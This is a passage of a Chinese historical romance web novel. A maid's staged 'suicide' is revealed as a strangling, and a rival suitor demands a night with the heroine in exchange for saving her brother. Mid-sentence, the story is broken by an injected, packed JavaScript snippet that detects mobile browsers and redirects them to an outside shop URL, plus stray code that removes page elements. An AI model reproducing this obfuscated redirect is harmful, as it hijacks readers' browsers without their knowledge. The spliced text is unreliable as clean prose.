她悄悄拍了拍心口。幸好她出来得早,若是让陆怀川进去得知这宅子是赵元承的,只怕又是一番事端。 “陆大人,陆大人救命……” 豆嬷嬷瞧见陆怀川,顿时高声叫唤起来。 陆怀川扫了豆嬷嬷一眼,皱眉道:“聒噪。宁安,堵了她的嘴放马车上去。” “夫君。”姜扶笙阻止道:“让她在我马车上吧,我有话要问她。” 她急着想问豆嬷嬷当初那一笔官银是怎么进到库房里的。 陆怀川摇头:“她什么身份?如何能与你共乘?人已然找到了,不急这一时,回去再慢慢问。” 他说着上了马车。 姜扶笙听他说得也有道理,便默许了。 陆怀川在马车上坐定,朝外面招呼了一声。 马车行驶起来。 他看着姜扶笙有些奇怪地问:“扶笙,这身衣裳哪里来的?” 许久不见她穿这般鲜亮的颜色,不禁让他想起她从前生机勃勃的模样。 姜扶笙心里一慌,低头看了一眼,小声道:“前几日在成衣铺瞧着好看便买了。” “这颜色适合你。”陆怀川伸手理了理她衣襟:“衬得你气色也好,往后多穿些鲜嫩的颜色。” 姜扶笙心里愧疚得要死,一时说不出话来。 马车一前一后驶入陆家大门。 陆怀川扶着姜扶笙下了马车,吩咐道:“宁安,你们将人带到柴房去关起来。不要让任何人见她。” 姜扶笙拉着他袖子:“夫君,我们现在不过去吗?” “眼下到了午饭时辰。”陆怀川牵住她手道:“你先随我回院子去,用过午饭了再慢慢审她。” 他示意宁安将人带走。 “我不饿。”姜扶笙还是执意要跟过去。 “扶笙。”陆怀川拉住了她,肃着脸道:“你看看你这些日子瘦成什么样了?外头不知道的,还当我苛待了你呢。先随我去用饭。” 姜扶笙挣脱不得,也不好拂了他的好意,只好依着他。想着又朝宁安高声道:“给她弄些饭吃。” 豆嬷嬷此时对他而言至关重要,可不能出纰漏。 宁安几人远远应了。 姜扶笙随着陆怀川进了清荷院,才吩咐人去厨房取午饭,陆大夫人跟前的菊香便来了。 “大夫人请少夫人过去。” 菊香低着头说话。 姜扶笙蹙眉看向陆怀川。 瞧菊香的神情也知道没有什么好事。她这会儿只想早些审问豆嬷嬷,不想和陆大夫人过多纠缠,反而耽搁她的时辰。 “别怕,我陪你去。” 陆怀川却牵过她的手宽慰她。 姜扶笙正要说话,便听菊香道:“大夫人吩咐了,只叫少夫人一人过去。” “你不必管,我自会和娘说。”陆怀川牵着姜扶笙往外走。 “夫君,我们能不能先去柴房?我想……” 姜扶笙转头和陆怀川商量。 陆怀川尚未来得及回答,便见一个小厮急匆匆而来:“少爷,方才您让带到柴房关着的那老妇悬梁自尽了!” 16. 第16回 “什么?人可救回来了?” 陆怀川失色,大步上前询问。 姜扶笙心里一紧,站在原地没有动,盯着陆怀川的背影。 赵元承之前提醒她对任何人都要有防备之心的言语又在耳边响起。 她从郊外回来,便一直想亲自审问豆嬷嬷。陆怀川数次阻挠。才不过一顿饭的工夫,豆嬷嬷便丢了性命。她脑中思绪翻滚,手脚一时都有些凉了。 好不容易找到的线索就这么丢了? “没有……” 那小厮耷拉着脑袋摇了摇头。 “你们怎么做事的?就这么一会儿的工夫,连一个老妪都看不住!” 陆怀川训斥。 那小厮解释道:“宁安大人说那老妇说吃了酒楼的饭菜就好好交代。他怕有闪失,便亲自去了酒楼,让小的几人好生在门口守着,别让那老妇逃了。谁知道她……” “一群无用的东西!” 陆怀川捂着心口剧烈地咳嗽起来。 姜扶笙伸出手又收了回来,没有上前替他捶背顺气。她心里乱得很。 若是连陆怀川也不值得信任,那她接下来的路会更难走。没了豆嬷嬷下一个线索从哪里找起? “扶笙,我对不住你。”陆怀川回过头,咳嗽得脸都红了,还想着和她道歉:“若是我没有拦着你就好了,或许现在豆嬷嬷已经说出了实情……” 他说这又剧烈地咳嗽起来,几乎透不过气来。 姜扶笙乌眸中闪过不忍之色,终究还是走到他身侧抬手扶住他:“我先送你回院子休息。” 陆怀川摆摆手,又咳了一阵子才望向她:“扶笙,你是不是怀疑我是故意延误你审问豆嬷嬷?” “没有。”姜扶笙垂下长睫摇摇头。 她是怀疑了,但也不好直接承认。 陆怀川道:“害了豆嬷嬷对我有什么好处?我巴不得早日替岳父翻案,你也能开怀些。” 他说着,深情地望着姜扶笙。 姜扶笙被他一往情深的眼神所感染,方才的思量又开始动摇了。 陆怀川说得没错,他做什么要阻止她替父亲翻案?他一直是站在她这边、处处都帮着她的呀。 她怎么能因为赵元承的三言两语,就怀疑陆怀川? “我怎么会怀疑你呢。”她牵起他的手:“你想多了。我们去见见宁安吧,看看他有没有问出什么来。” 陆怀川见他打消了疑虑,眉心也是一松,温和地点头:“好。” “属下当差不力,请主子责罚。” 宁安跪在柴房外,低头等着陆怀川责罚。 陆怀川皱眉道:“你先起来,可曾问出什么来?” 宁安摇摇头:“属下还没来得及问。” “豆嬷嬷在何处?”陆怀川不悦地询问。 姜扶笙悄悄打量宁安的神色。但见他神色平平,看不出什么来。 “还在柴房里。”宁安起身跟上二人。 “我进去看看,你在这里等我?”陆怀川转头看姜扶笙,又温柔地解释:“你看看尸体心中害怕,只怕夜里会做噩梦。” “我不怕的。” 姜扶笙摇头。活要见人,死要见尸。她自然要亲眼看看豆嬷嬷是不是真的死了。 “那好,我牵着你。” 陆怀川带着她跟着宁安进了柴房。 柴房地方倒是大,光线却不好。只在三边墙壁的上方留了几扇透风的小窗户。四周整齐堆着柴火,中间一块木板上躺着一个盖着白缎布的人。 陆怀川示意宁安。 宁安俯身掀开白缎,露出下面人的脸来。 姜扶笙探头看过去。 是豆嬷嬷,脸又灰又白,确实是死了。 “盖上吧。”陆怀川吩咐了一句。 姜扶笙出言拦住了:“等一下。” 陆怀川和宁安都看向她。 姜扶笙抬了抬手:“宁安,你往下掀一点。” 她想看看豆嬷嬷是不是真是吊死的。 宁安自然照做。 白缎布往下掀开,露出了豆嬷嬷的脖颈和肩部。 脖子上一条鲜明的麻绳勒痕泛着青黑色,并且是凹陷进去的,半分也做不得假。 “盖上吧。埋口薄皮棺材将她葬了。” 姜扶笙挥了挥手,在心里叹了口气。 豆嬷嬷这条线算是彻底断了。接下来只能再接着找家里其他的下人,看看有没有知情者。 宁安应了。 她心里沉甸甸的,默默跟着陆怀川出了柴房。 陆怀川回头朝宁安道:“这点小事都办不好,自己去领罚。” 宁安行礼应道:“是。” 姜扶笙没有替他求情的心思。豆嬷嬷一死,许多事情都要从头再来,她实在失落。 “主子。” 杜仲远远地快步走近,似乎有什么事要禀报。瞧见姜扶笙也在,他顿时欲言又止。 姜扶笙见状往边上让了让:“你们说吧。” 有些公务上的事她不方便听,她也从来没有打探过,提不起这个兴致。 杜仲见状上前与陆怀川耳语:“主子,属下等到那宅子的主人出来了,是良都侯府的小侯爷。” 陆怀川闻言攥紧了拳头,眼底泛起深深的忌惮。他就知道豆嬷嬷的出现不会那么简单,原来是赵元承在其中搞鬼。 赵元承怎会轻易将豆嬷嬷交给姜扶笙? 他余光瞥着姜扶笙身上的衣裙,她进了那宅子之后换了衣裳出来……想到她可能为交换豆嬷嬷付出了什么,他眼睛渐渐红了,额前青筋直跳。 “主子处处细心照料少夫人,照理说少夫人不该和小侯爷有这么多纠缠……”杜仲悄悄扫了一眼姜扶笙,小心开口。 他在提醒陆怀川,姜扶笙虽然人在这里,心思可能在赵元承身上。 陆怀川扫了他一眼,眼神异常阴戾。 杜仲惊骇地后退一步,连忙低头。 陆怀川的目光瞬间便恢复了寻常,朝姜扶笙招手时面色温润又隐含愁绪:“扶笙,你来。是哥哥的事情。” 杜仲愣了一下,他方才可半个字也没提姜砚初啊! 陆怀川扫了他一眼。 杜仲一下反应过来,微微点头。 “哥哥什么事?” 姜扶笙听陆怀川说和自家哥哥有关系自是关切,当即快步上前询问。 “杜仲,你说吧。” 陆怀川吩咐。 “少夫人。”杜仲朝姜扶笙行礼:“流放途中吃喝都不足,南疆的地方气候潮湿又有瘴气,再加上流放之人居所又拥挤,环境恶劣。几番下来,姜少爷患上了心痹之症。” “心痹之症?” 姜扶笙脸色一白。 这病症她听说过。这病症轻者心悸气促,重者呼吸困难甚至殒命。要早治才有痊愈的可能。若是晚了,便会伴随终身。 若哥哥在上京还好,不用吃太多的苦,她多使些银子请太医为她诊治,或许能治好。 可哥哥在南疆那样恶劣的地方,生着病还要开矿,或许还吃不饱。这样下去,哥哥恐怕性命不保。 她咬着唇眼眶逐渐湿润。 “扶笙。”陆怀川上前拉过她的手,许诺道:“我已经让人给哥哥送了药去,哥哥不会有事的。” 姜扶笙抬眸看他,泪意盈盈:“为什么不早告诉我?” 不知为何,她对陆怀川的许诺没了从前的感动。反而有几分信不过。 “我怕你忧心。”陆怀川望着她眸色殷殷:“我也才得知没有多久。况且心痹之症早期不大看得出来,我抱了侥幸的心思,想着哥哥年轻力壮不会染病……” 姜扶笙咬唇忍住了眼泪。她不能再这样被动下去了,得想法子去看看哥哥。 “扶笙,你放心。”陆怀川伸手将她拥进怀中,郑重允诺道:“你乖乖在家别再见元承了,兄长和岳父岳母我会让人照料好的。” 他目视着远方,眼底的戾气和志在必得并存。 姜扶笙闻言僵了僵,不只是因为和赵元承纠缠的愧疚。陆怀川的话让她觉得有些不对劲。 难道他的意思是,她若还和赵元承有所接触,他就不帮她哥哥和爹娘了吗? “当然,若是元承纠缠你那也是没办法的事。”陆怀川低头看她,目光再次变得和煦宠溺:“不怪你。你及时和我说就好。” “嗯。”姜扶笙点点头,低声道:“我并不想见他。” 她攥着手心,若有所思。 * 入夜。 陆怀川上了床,伸手将身侧的人儿拥入怀中。闻着她身上淡淡的香气,心底满足极了。 “扶笙,我下午特意去找太医问了一下。除了杜仲白天所说的那些缘故,在南疆那里,还有一种瘴气会引起心痹之症。” 他缓缓开口。 姜扶笙闻言抬头看他:“这么说哥哥是在采矿时闻了那种瘴气才生得病?” 陆怀川揉了揉她脑袋:“那瘴气都在人烟稀少的地方,若是采矿时闻到了,那就不止哥哥一个人生病了。” 姜扶笙蹙眉:“那是怎么回事?” 陆怀川叹了口气,似乎难以启齿。 “你快说呀?”姜扶笙晃着他手臂催促他。 陆怀川似乎有些无奈,将她拥紧了道:“我在想,会不会是元承?” 姜扶笙闻言怔然。 “三妹四妹如今跟着他,你也接受了,这些事对我们而言没有实质的伤害。”陆怀川低声道:“如果哥哥出了事,你肯定……” 他没有说下去,余下的意思姜扶笙很明了。 哥哥要是出了事,她一定痛苦至极。 姜扶笙望着帐顶,目光空洞。赵元承他怎么这样狠啊!羞辱她和妹妹们还不够,还要去害她哥哥的性命! “不过也有可能是我想多了。”陆怀川见她不说话又宽慰她:“南疆得心痹之症的人也不在少数。早些睡吧,明天我让人多采买一些药物和日常所需送过去。” 姜扶笙应了一声,侧过身背对着他。 陆怀川贴在她背后,很快便呼吸均匀睡了过去。 姜扶笙睁开眼看着眼前的漆黑出神。眼前浮现出赵元承似笑非笑的脸。 哥哥生病真的是他做的? 那日她以为他杀了她两个妹妹,用簪子刺伤了他。他问她“我在你心里就是这样的人”? 他确实比从前变了许多,喜怒无常,蛮不讲理,说话也难听。但都是针对她一人。 三妹四妹在他那里没有吃苦头,这些日子他也不曾亏待她们。 或许哥哥就是碰巧病了,和赵元承无关? 她转念又想到今日的事。豆嬷嬷死了,哥哥又生了病,爹和娘还不知道是什么情形。她不能一味地指望别人,陆怀川待她再好,在她亲人的事情上也不如她自己上心。 她必须亲自去一趟南疆。 陆怀川不会让她去。 成婚之后,陆怀川事无巨细地照料她,什么都是他帮她。就这样一直养着她到现在。她浑浑噩噩地过日子,回报他的恩情。也不知自己是为了什么。 但眼下不同了。 爹娘和兄长都落难了,她若还这样下去,谁能救他们? 她思前想后下定了决心。 无论如何,她要亲眼见到哥哥平安无事。陆怀川不让她去,她便自己偷偷去,先斩后奏。 打定主意之后第二日,她便悄悄准备好了去南疆的各样东西。 * 月黑风高,寂静的巷头停着一辆马车。 石青从墙头探出了脑袋,小声道:“主子,姜姑娘就在马车上等着翡翠呢。姜姑娘假装头疼早睡,翡翠留下来让陆怀川去他那个妾室院子里。翡翠一来他们就动身去南疆。” “带着这么几个女子,还想去南疆。” 赵元承扫了一眼马车前后。 “六个、七个……算上翡翠一共八个。”石青数着道:“福伯那里还有人呢,加起来也不少了。” 赵元承瞥了他一眼。 石青不懂他是何意,只知道自己该闭嘴了。 赵元承一跃上了墙头。 石青见状也跟了上去。 “你上来做什么?”赵元承侧眸看他。 石青不知所措:“属下,属下……” 他难道不该跟着主子吗? “去牵马来。” 赵元承跃悄无声息地落在了巷子里。 姜扶笙透过马车窗口的帘子,隐约能瞧见远处的灯火。四周静谧,她却全然静不下心。 倒也不是紧张。 她未曾出嫁之前,做过许多次从家里溜出来到处玩的事。眼下和之前也没有什么不同。 只是许久不做这样的事,陆怀川也不是她爹娘,不知道发现了之后会不会像爹娘那样包容她。还有婆母和陆府里那一众人。 总归是不大安心的。 赵元承走上前,抬手在马车外头敲了敲。 几个婢女齐齐转头看向他。 “可是翡翠来了?” 姜扶笙撩开纱帘,瞧见黑暗中的身影不禁一怔。 尽管巷子里一片漆黑,根本看不清面容。但她还是一眼认出眼前的人是赵元承。 她下意识放下纱帘。 “咱们先走。” 遇见赵元承准没好事,她不想节外生枝。 “下来。” 赵元承探手捉住她手腕。 “我有要紧的事,你松开。” 姜扶笙掰他手指。 “我有事和你说。” 赵元承大手如同焊在她手腕上一样纹丝不动。 “我不想听。”姜扶笙掰不开他手指,恼得在他手背上掐了一下。 两人心头都是一动,隔着纱帘看向对方。 姜扶笙脸上一烫,又用力挣扎起来。 当初两心相悦时,他们笑闹起来,她总喜欢这样掐着他直到他求饶。他从不和她计较,总是任打任骂。 此刻做来,两人心境又都与从前不同了。 “不想救你哥哥了?”赵元承语气淡淡。 “我自己去。”姜扶笙气闷地回了一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872864|134596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 赵元承轻笑了一声:“我拦着,你去得了?” 姜扶笙闻言恼火,怒道:“你怎么这样无赖!” “下来。” 赵元承替她挑了青布帘子,再次开口。 姜扶笙揉着被他捏疼的手腕,钻出马车。 赵元承伸手扶她。 她拧腰躲开了,打算从另一侧下去。 赵元承长臂一伸,径直将她捞入怀中。软玉般的身子陷入臂弯,新摘蜜桃的甜香扑鼻而来。他下意识颠了颠,比从前轻了一些。 姜扶笙脚下腾空,惊呼一声便踢着脚挣扎:“放开我!” “大点声。”赵元承抱着她面无表情转身往前走:“多招些人来,好叫他们看看。” 姜扶笙立刻哑了声。 他们这般若是被人瞧见了,只怕跳进黄河洗不清。 石青早已牵着两匹马在道边等着了。 赵元承将她安置在马背上,自个儿也跨了上去。 温热的胸膛贴上来,清冽的气息包裹周身。惹得姜扶笙不自然地绷直了身子。 赵元承握住缰绳,将她拥在怀中,催了一下马儿。 马儿走起来。 月色朦胧,夜风有些温柔。 赵元承手臂往回收,将她紧紧拥在怀中。 姜扶笙僵在那处。他手臂箍着他腰,心跳一下一下好像打在她后背上,无法忽视。叫她想起他第一次带她骑马。他也是这样从背后拥着她,手把手地教她。 她心也跟着跳起来,像小兔子被困在了心里一直想往外蹦。蹦得她耳朵发烫,口干舌燥。 “很享受?” 赵元承贴在她耳畔,忽然轻语了一句。 姜扶笙心神一震,一下回过神来,脸顿时涨得通红。还好这处黑暗,赵元承看不见她的脸色。 “脸红了?” 赵元承语气里似乎含着笑意。 “没有。”姜扶笙下意识否认。 “你脸烫的都蒸到我了。”赵元承贴了贴她脸颊笑了一声,心情颇好。 这样的他像极了从前。 姜扶笙脸上被他蹭过,痒痒的。心跳得比方才更快了。 “你带我去哪里?” 她咽了咽口水平定心神问了一句。 “到了你就知道。” 赵元承催促一声,马儿顿时发足奔起来。 风呼呼地吹在脸上,姜扶笙阖上眸子,心底竟生出一丝久违的松弛来。 石青催马紧跟着。 到了郊外又走了一阵,赵元承跳下马来,伸手将姜扶笙抱了下来。 “这是哪里?” 姜扶笙左右看看,四处都是黑漆漆的树影,天上只有半个月亮,迷迷蒙蒙什么也看不清。 “随我来。” 赵元承牵着她,朝东南方向而去。 地上草木杂乱,姜扶笙只能踩着他的脚印往前走。 前面一片漆黑,几点绿芒在其中闪烁,耳边阴风阵阵。姜扶笙心中害怕,不肯再往前走。 “这到底是什么地方……” “乱葬岗。” 这一回,赵元承回答她了。 姜扶笙叫这三个字吓得魂飞魄散,一时几乎要哭出来:“你……你要杀我……” 乱葬岗,杀完了她正好抛尸在这处。 “杀你用得着如此费周折?” 赵元承好笑地回头。 姜扶笙定了心神:“那你带我来这里做什么?” “主子,给。” 石青点了火把递过去。 “看豆嬷嬷。” 赵元承接过火把举在手中。 姜扶笙这才瞧清,四周都是高矮不一的坟包,还有破了一半的骷髅。她一下连话都忘了说,扑上去死死抱住赵元承的手臂。 她从小就害怕骷髅、骨骼这些东西。小时候想到自己的脑袋里头也有骷髅,都吓得一夜睡不着,更别说这样的夜晚看见这种东西。 赵元承垂眸看她吓白的脸,手臂上的力量让他唇角微微勾起:“石青,去把人弄过来。” 他举着火把,揽着姜扶笙等在原地。 石青在心里嘀咕,主子还说要报复姜姑娘。那还不趁此机会好好吓唬吓唬她?倒让他去搬死人。 不过他可不敢说出来,只能认命地去干活。 石青拖着死人回来,姜扶笙更不敢回头。赵元承到底要让她看什么? “陆怀川是不是和你说豆嬷嬷是上吊死的?” 赵元承问她。 “是。”姜扶笙不敢看石青那处,听出他语气里的质疑,她解释道:“我瞧见她脖子上的勒痕了!” “陆怀川撒谎了,人是他让手下勒死的。” 赵元承看着地上的尸体。 “你半夜带我来这里,就为了诬陷他?” 姜扶笙气不过,松开他的手臂。 赵元承眸色冷了下去,扶着她后脑勺:“自己看。” “我不看!” 姜扶笙连忙捂住眼睛。 “睁眼,不然将你丢在这处。” 赵元承似乎失了耐心。 姜扶笙眼睛睁开一条缝,看向地上的豆嬷嬷。 赵元承将火把打得低了些:“看清楚了?她后脖颈有什么?” 姜扶笙愕然,一时间忘了害怕,猛地睁大了眼睛。 豆嬷嬷后脖颈处的麻绳痕迹是交错的。若是上吊而亡,后脖颈不可能留下痕迹的。豆嬷嬷真的是被人勒死的! 可陆怀川有什么理由这么做?她摇头,陆怀川待她那样好,他不会的。这里面一定有其他的缘由。 “拖过去埋了。”赵元承吩咐一句。 石青俯身拖起豆嬷嬷心里暗暗叫苦,这破差事,早知道就让莫山跟着主子来这一趟了。 “是陆怀川杀了她。”赵元承望向姜扶笙:“他心怀不轨。” “不会的。”姜扶笙毫不迟疑地替陆怀川辩驳:“他不会做这样的事的。” “姜扶笙。”赵元承捏住她下巴,乌浓的眸中怒意涌动:“看着我。” 事实摆在眼前,她还毫不犹豫地维护陆怀川,她就那么在意陆怀川! 姜扶笙抬起乌眸看着他,眼底的情绪还未平复,迷惘而惊讶地看着他,像迷途的小鹿。 “陪我一晚,我带你兄长回上京。” 赵元承半侧脸融在黑暗之中,明明是俊美无俦的一张脸,因为火把的摇晃而显得阴沉,森然如阎罗。 “不可能。” 姜扶笙睁大乌眸,脱口拒绝。 她脸逐渐涨红,气恼不已。这么无耻的话,赵元承到底是怎么说出口的? “除了我,没人能救他。一晚,换你哥哥一条命。”赵元承松开她,缓缓转身:“我给你时间考虑。明晚我在北郊外的宅中等你。” 姜扶笙回府之后一夜未眠,起床后又在卧室窗前怔怔坐了大半日,想了许多事情。待她回神时,外面已是晚霞漫天。 天幕落下,星光闪烁。 姜扶笙乘坐的马车缓缓停在了北郊那座宅子前。